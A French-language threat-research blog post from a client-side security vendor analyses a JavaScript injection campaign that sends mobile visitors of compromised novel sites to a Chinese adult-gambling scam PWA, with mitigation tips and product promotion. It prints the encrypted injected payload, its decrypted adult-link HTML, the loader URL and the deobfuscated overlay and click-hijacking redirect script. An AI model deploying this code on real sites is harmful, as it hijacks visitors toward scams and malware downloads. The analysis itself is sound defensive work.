Skip to main content
Blog
Attacks Blog

Une arnaque chinoise pour adultes cible les utilisateurs mobiles via une PWA

Nous avons identifié une nouvelle campagne d'injection abusant de JavaScript tiers pour rediriger les utilisateurs.

May 20, 2025 6 min read
pwa-injection-cover-image
Table des matières

En bref : redirection par overlay PWA avec filtre sur user-agent mobile uniquement

  • La PWA est une surface d'attaque : Les Progressive Web Apps sont traitées comme une simple histoire d'UX interne, pas comme une surface d'attaque. Cette campagne a transformé la PWA en page d'atterrissage d'une arnaque de paris pour adultes, précisément parce que personne, côté sécurité client, ne surveillait cette porte.
  • Mobile uniquement, à peine signalé : Le chargeur injecté depuis xxsmad6[.]com ne se déclenchait que sur les user-agents mobiles, déposait une image en superposition provenant de toutiaoimg[.]com, puis redirigeait les victimes vers xjdm166[.]com ; deux échantillons n'ont été signalés que par 3 moteurs sur 63 et 3 sur 65 sur VirusTotal. cside surveille le comportement des scripts en temps réel sur de vrais visiteurs, et non sur les robots d'exploration desktop que l'attaquant filtre.
  • Testez ce que voit le mobile : Si votre site charge le moindre script tiers et sert du trafic mobile, testez cette semaine ce qu'un téléphone en Asie voit réellement. Si vous ne vérifiez que le desktop, vous inspectez la version que l'attaquant a conçue pour que vous la voyiez.

Peu de temps ? Découvrez le blocage in-browser des Magecart et skimmers de cside. Elle couvre tout ce qui suit en un seul déploiement.

Nous avons identifié une nouvelle campagne exploitant des injections JavaScript tierces pour rediriger les utilisateurs mobiles vers une arnaque PWA chinoise à contenu adulte.

Exemple (NSFW) : hxxps://xjdm166[.]com/html/#/i/home

Si la charge utile elle-même n'a rien de nouveau (encore une arnaque de jeux d'argent pour adultes), la méthode de livraison, elle, se distingue. La page d'atterrissage malveillante est une Progressive Web App (PWA) à part entière, probablement destinée à retenir les utilisateurs plus longtemps et à contourner les protections de base des navigateurs.

Les PWA sont souvent ignorées dans le domaine de la sécurité côté client. Pourtant, toute livraison basée sur le navigateur est exposée à ce type de vulnérabilités.

Vue d'ensemble de l'arnaque de contenu pour adultes basée sur les PWA visant les utilisateurs mobiles

Ce qui se passe :

  1. Ciblage mobile uniquement : le script filtre les utilisateurs desktop et concentre les attaques sur les appareils mobiles.
  2. Injection de script pour la balise viewport : si la page compromise ne possède pas de balise meta viewport, le script en injecte une pour forcer un rendu mobile correct.
  3. Injection d'une superposition publicitaire : une superposition sombre semi-transparente apparaît, une image récupérée depuis toutiaoimg[.]com sert de visuel principal, et une image de bouton de fermeture est ajoutée, laquelle déclenche une redirection au lieu de fermer la superposition.
  4. Détournement de clic : cliquer sur l'image principale ou sur le faux bouton de fermeture ouvre le site d'arnaque PWA dans un nouvel onglet, un classique appât-et-substitution.
  5. Ressources externes chargées :
  • xxsmad6[.]com (chargeur principal et ressources)
  • xjdm166[.]com (site d'arnaque de destination finale)
  • toutiaoimg[.]com (se faisant passer pour un hébergeur d'images légitime)

Les attaques par PWA sont en hausse

  • L'utilisation des PWA suggère que les attaquants expérimentent des méthodes de phishing plus persistantes.
  • Le ciblage exclusif du mobile leur permet d'échapper à de nombreux mécanismes de détection.
  • Il s'agit d'une nouvelle variante des campagnes d'injection chinoises de jeux d'argent pour adultes observées ces derniers mois, mais avec une nouvelle tactique de diffusion.

Sites web compromis : déguisés en plateformes de lecture de romans

<title>海棠文学网_好看的小说_小说排行榜_最全的小说阅读网</title>
<title>神马小说网 - 最好看的免费小说阅读网</title>
<title>78小说网_书友最值得收藏!</title>
<title>寂寞书屋 - 纯净阅读,无弹窗广告干扰</title>

Traduction :

<title>Réseau littéraire Haitang_Bons romans_Classement des romans_Le réseau de lecture de romans le plus complet</title>

<title>Réseau de romans Shenma - Le meilleur réseau de lecture de romans gratuit</title>

<title>Réseau de romans 78_Les amis des livres méritent le plus d'être collectionnés !</title>

<title>Maison du livre solitaire - Lecture pure, sans publicités intempestives</title>
Faux sites d'applications de lecture utilisés pour diffuser l'attaque par injection de scripts

Dans l'ancien TTP, les sites suivants ont été victimes d'injections de scripts :

Script injecté trouvé sur les sites touchés dans l'ancienne variante de l'attaque
ancien TTP

Dans le nouveau TTP, nous avons constaté que le code est chiffré :

$('#htmlContenthtml').html(x("uhkV3gCCBQyiiK\u002bNG9JE\u002b9hHSIODkYZ1ut5A6t6ZN1CzUGIQV0q\u002bDif4omYaPwky489u93Bg0A3mGPnKRNpagzetPGDoU\u002bqgg9XIwBFbNm0peuBVpJNWUyEo9A9jMb1ww\/lJPCvSd7udl39atb6SGz7uyslJZ9dasE\/vd\u002bHndr\u002bcaWLMw1gWIixKSIgpVmONGvK6CsRol9Y1q00W1XLRuBVoaGY2IKqMcfJJGpGwBtUQMLaxY5XZIrVLu10GdxWMXBMyvnghS\/EdP6hJtLE\/mfoGAf8zerXqTEKiTvTDKfG7CC7icpdf81fSEKdeh8AfSrHR48S1AagUWx0R6m5MFsm8BGTlJIzMUHzp9KJ\u002bI8Mnop9cH14cOgn2ogrgjDcmTH03ing4oZ\u002bWBiQlDGjMJAIEgYILMURWJrJBh\/OSYaiIcH0BaDem3\/cZ052IkV61YJFeyZqYEkIEd156Mednuct8dZ840FTbhhLlE43O0BpNKgQYCTKuC5HNXAQMihQXRwT1\u002bQidCflMlPdqiWbnNg5aFKTqF3Sp99OwGCGzzTOb55f\u002bmkHhqf4Lkx5JocptlF3RqE2LU8IAs9cxAGJeFOd\/\/iV89tqUPrEm6gZ9BUIcXDNmA39xIpn1gd2xnptU4GicPWmPhYgcwaZZqWKZdwcdDX\/a8l7JFiziVHrbjHq0D\/zLRH6DG2Cae6VPjbSsDBVnSwGV1eyi2xtEBEIjw3crQvNxDlEXPMAye16PvdqtoQSlhWbCuaehEOIzYpThGA6ar8elsWNA25IPOD2q08fb1XDkVY9WwgQhAStzAVi4Nkmr\u002b19472m27SXwFgQG\u002bL9qIvldGETi2MTAg7I4pTFiNdhCG7JrHVnjVLqWerIEs2Tfg6wc2Viw0jmIQHli0m79BvuN46pk\/kpNz8gbABrFb4pLA1FSXH\/bNG4KLt9O64bYUPAd7wTUv3Q47k1PmXTSwhTH\/wcFZagKEjoeE9M\/79a\u002bDIzPe5LnwBKxs\/DkktiZ9r0NokvYXutby9z2WjmjToVmDv03iD5O3wAF\/22sAzgtvVMAunEAy8nvDiuGRC5kko\u002bbjZrWiq6cMmCe6EhCcM3mSdHxj8pVy7\u002b5HLkDxqDMLBktDP1kdcMlwLlH9CIF6jzAuIF4WSEvaMAQXUHSgUJjyopdP1ApAaOgJBdb6rHxHrFYXsK8CscgkPCKb\u002bLoDyK\/X3MAA2TbqFPlEwCZv6YdtUEvabj\u002bUpFjxSfbqXnmKzebamYKrRiVkv\u002bOEYAa\u002barOSCx2e2M6sBjF5CpEuP9BWhs2f3kcQXtrf9OA\/jb69Vg6vl7U6kI\/PK92JQDHQsbMANMkICDTqU39Rv9TlRJU\u002bTerkvwUkJ\u002bcUeYr8C7HreKG6mIkneW2Dg6T\u002bDh792jOWjhKY\u002bgdov\/5cRJSRrk9Qn9f9n1BDvMzX\u002b\/qjuxUKz7pb7Jn9tuddc7HpsKV\/mvYHTYu\/hdqd7BtkowWidNN26gXWUbi3wKIXMGjzEI5LvjBIZQe7RB2oIEoWt5GxxLJXfo4LDQLWWhVPIgL5O0O7JBx51wWYCC\/35AhdojHKz\/W9k\/WkCgCiQ8bRbV5cnOfuHt\u002bEKLKZPTUdhveHlSVQxhiqx5P0\/y7NitzNHn17pfZtdtg9EeA8NNDdM50pGqzcY9Gq6UxzF5mvb\u002bKFPNIFhaPqSxU2bwk\u002bJxHyCX9PhmN8NoJao2sFgwrTMsPzXbpGGXk4moDOsO\/gEGIcv\/Lan5sOh1Sdk\u002bbBN0J4Et4bDzkcKqsRXd68TsRF\/4QL18N4mwdAeBzIgIr9oKSVN587pUEQ8cMWmMF1gO8oPsfHf2OxlyOq1ynp16QCDGVm7l46fzLCzTOg3sWIPWwmG9aVVTKD\/Rb5hIgJAb9nzF4dR8IXuJNgCsSswOPcDPmBS9cUoCCEfqtbQxHbwsV46r8ER28ZfzG9O31Z\/67FEmE4\u002bKS2\/nmHhS7C7LbhwfhEBhphphDngH9qjh1UdYU\/9eWGAdPRFnUJZPuUaPqb7W19ZJEigC9C9hhNZ\/lN3n2X2D\/mIsOLkr1S37gyrgTIheSGauTKf4JXwpu\/R9fHcO07uys7fQ6EAFVq6lTwDmNu3dX6RHlzY2f86vREVgYNIfOxgc\u002bZjqiFa0lyk3gV63G5NC\u002bfQmseG8ja9rAAQ\u002bvzzShhHtud4fVdAvPAafGCiGOi3vQQN7eHlFvkSKk08xkUdyApOzDyEp4VifnWEasTdRG2EtFd0\u002bteLPsnn\/Ws2RGEUhmo\u002bH0NCvybejA5SZH2xSyXCI6vzCXvEdXxVI5r4F811zdkG3dQXnJzyRTtz18EOpWOjWiCwIo\u002beK76g85y1AxsfvClDs1hHV1Fc452TbYnLIzB\/8D9BivBY0xJr3AEj9lpT8yMOY5aB0XvYcPAEnirKmILBYMH653DQ43Hz\/FkZjiFQzuNRUvD4FeBTLClcF4TI1abk7fFk1PdRbNdF18IXcudo7nus0oPM\u002bJmORxzD3jpYfBxxS2pG\/kIcZoalbFXyKZtE245MYCJdO9DoSRwLxTZ06lAjXQYxzht2CabUKVR7LnPN1UHduG9m7RxHCGX3EBQftz6nrlSfSn25VAknMD\/odK1WLR35OEV5HZA2OYUMJvNddB5Bn1UlEAtojd38xrNnja\u002bArC82AVJW7SZRlEKGYqn8zahGjEk9Dl7duhzPqkb\/x9\u002bBPuhCSNR6x5iuV0BOltS3KDAhIHWgcr\/XRQpiT7D6anVoberQm6gdz8sYAcw06Z7p2rhuL8HQmk5tZCRDJ2e6Gd91pGSn38fQvmTXkNC3mAqbH\u002b63HBtF9CnG76U6MX3qOhHxW3eLBur9WmlWJ0hAej4p5r3LBxJ2W8bTk322bB6n48WYgYOU4H0Xr\/QKZlbp0a10iOViF\/joR8n0CF5MDJr4JCAm4HSt7oVksigTAePh3hRt\u002b3Xoq0Znm3Ze46XvPr3JPZ9cUNpB\u002bjVSWztX41j0fzBCowNTAMDFYMv7QJTFfISU5daCT2PJ4bjwEd7s8dbL4GkiZzsHjeU1Y27pYuZ5WcW\u002bIWeuX1NXRaFSOT4spx\/FijUaA4g5jRR6Qmx55m5Mf2vOUJ9itjVMqfGGtb\/UyvvoizfN\u002bVNpdPRSUlB17cXotygSPIFpki4\/Yr53w8CvmIyKNsg7i0yt2nnuhP59k70WUTmR5e2Or8HCRkX7y6H2pm0IZkD2vmJFvTbLCkb4cjRU2SM28gWFmoelBucFfbiDxKkPYMvJjJSTkg6WiGtd8hdF82og0\u002bXvxAjKwuDb23btRE\/kKFDgllFg==","encryptedDatastr","eIyX1RkLJ4dnkjWpsfuAWA=="));
Charge utile JavaScript chiffrée et obfusquée injectée dans les pages

Ce code se déchiffre en :

<style type="text/css">
@media screen and (min-width:800px){.yl5{display:none;}}.yl5{width:100%;overflow:auto;background:#33343f;}.yl5 dd{float:left;width:20%;white-space:nowrap;overflow:hidden;padding:0;line-height:32px;margin-inline-start:0px;margin-bottom:0rem;}.yl5 dd li{line-height:30px;height:30px;overflow:hidden;text-align:center;border:1px solid #e5e5e5;background:#33343f;border-radius:1px;list-style:none;}.yl5 dd li a{font-size:18px;color:#f9ff00;}</style>
<div class="yl5">

<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/yn2k0ypd"><strong>视频I区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/r42r7opq"><strong>视频E区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/mqp10w2x"><strong>视频J区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/z32x7npd"><strong>视频D区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/1dpy76pv"><strong>视频P区</strong></a></li></dd>

<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/oq5dd058"><strong>视频F区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/q5o9gx5w"><strong>视频Q区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/l50dx72e"><strong>视频S区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/32xdq1pd"><strong>视频W区</strong></a></li></dd>
<dd><li><a rel="external nofollow noopener" target="_blank" href="https://www.akav50.top/list/92qlr9pn"><strong>视频Y区</strong></a></li></dd>

<div class="mebty"><table border="1" width="100%" class="duilianpt" bgcolor="#ffffff" cellspacing="0" bordercolor="#FFFFFF" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF" cellpadding="4" style="text-align:center; background-color: #33343f;font-size: 16px;"><tbody><tr><td style="background-color: #33343f;"><a style="color: red;">AV VIP温馨提示:因运营商网络问题,若网站打不开,akav01.top-akav60.top总有一个能打开!</a></td></tr></tbody></table></div></div>

Le flux d'injection

L'attaque commence par l'injection du script suivant dans les sites web :

javascript
CopyEdit
hxxps://xxsmad6[.]com/s.php?g=1&t=2&p=1388&i=
  • Ce script joue le rôle de chargeur initial.
  • Lorsque la victime visite un site web compromis depuis un appareil mobile, cela déclenche la redirection.
  • Les visites provenant d'appareils non mobiles (ordinateurs de bureau, robots d'exploration serveur) sont ignorées, ce qui réduit la détection.

Nous observons un trafic important vers ce domaine, ce qui suggère que la campagne est de grande ampleur.

Le script de la charge utile (désobfuscation JavaScript)

Voici une analyse du code principal injecté :

(function () {
  let flag = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);
  if(!flag){ return false; }

  // Ensure viewport for mobile rendering
  var gmate = document.getElementsByTagName('meta'), isviewport = 1;
  for(var i=0,len=gmate.length; i<len; i++){
    if(gmate[i] && gmate[i].getAttribute('name') == 'viewport'){ isviewport = 0; }
  }
  if(isviewport){
    var node = document.createElement('meta');
    node.content = 'width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no';
    node.name = 'viewport';
    document.getElementsByTagName('head')[0].insertBefore(node, head.firstChild);
  }

  // Fallback for missing body
  if(!document.body){
    document.write("<a id='_nobody' style='display: none'>none</a>");
  }

  var arand = Math.floor(Math.random() * 100000);

  var o = "<div id='"+arand+"' style='width:100%;background-color: rgba(0,0,0,.64);box-shadow: 0 -1px 1px rgba(0,0,0,.10);'>" +
            "<div style='position: relative;'>" +
              "<a href='https://xxsmad6.com' target='_blank'>" +
                "<img style='position: absolute;bottom: 0;left:0;display: none;' src='hxxps://xxsmad6[.]com/static/union/images/b-5.png'>" +
              "</a>" +
              "<img id='i"+arand+"' style='width: 100%;display: block;' src='hxxps://p3-sign.toutiaoimg[.]com/...' >" +
              "<img src='hxxps://xxsmad6[.]com/static/union/images/close.png' id='c"+arand+"' style='position:absolute;top:0;right:0;cursor:pointer;width:26px;height:26px;z-index:2147483647'>" +
            "</div>" +
          "</div>";
  document.write(o);

  document.getElementById("c"+arand).onclick = function() {
    window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
  };
  document.getElementById("i"+arand).onclick = function() {
    window.open(("hxxps://xjdm166[.]com/html/?p=1388"), "_blank");
  };
})();
Version déchiffrée de la charge utile JavaScript injectée
Exemple d'un site web à contenu adulte

Au cours de l'analyse, nous avons découvert des anomalies dans ces applications web, qui nous ont permis de trouver des frames cachées.

Voici à quoi ressemble le site Ho ti normalement :

Le site Ho ti s'affichant normalement, sans les frames cachées
Vue du site non compromis

Site web avec des anomalies de frames :

Le même site présentant des anomalies qui révèlent les frames cachées injectées
L'anomalie révèle des frames cachées

Les URL injectées mènent à de faux sites pour adultes qui tentent de se faire passer pour des sites pour adultes bien connus :

Faux sites pour adultes se faisant passer pour des marques pour adultes connues
Fausse page de redirection

Cela mène au téléchargement de logiciels malveillants pour Android et Apple :

Invite de téléchargement de logiciel malveillant pour appareils Android et Apple
Faux iOS

Nous avons réussi à obtenir 2 échantillons détectés par seulement 3 éditeurs sur VirusTotal.

Atténuation et recommandations :

  • Examinez et assainissez les scripts tiers. Concentrez-vous sur les inclusions externes que vous ne contrôlez pas.
  • Mettez en place une CSP (Content Security Policy) stricte pour réduire l'exécution de scripts en ligne.
  • Surveillez le comportement en temps réel de votre site web à l'aide d'une solution de sécurité côté client.
  • Restez vigilant face à toute nouvelle balise meta inattendue, toute superposition, ou toute requête externe vers des domaines que vous ne reconnaissez pas.
Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Nous vous montrerons :

Quels scripts tiers s'exécutent actuellement sur votre site
Où vous en êtes sur les exigences PCI DSS 6.4.3 et 11.6.1
Quelle part de votre trafic provient de bots et d'agents IA

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau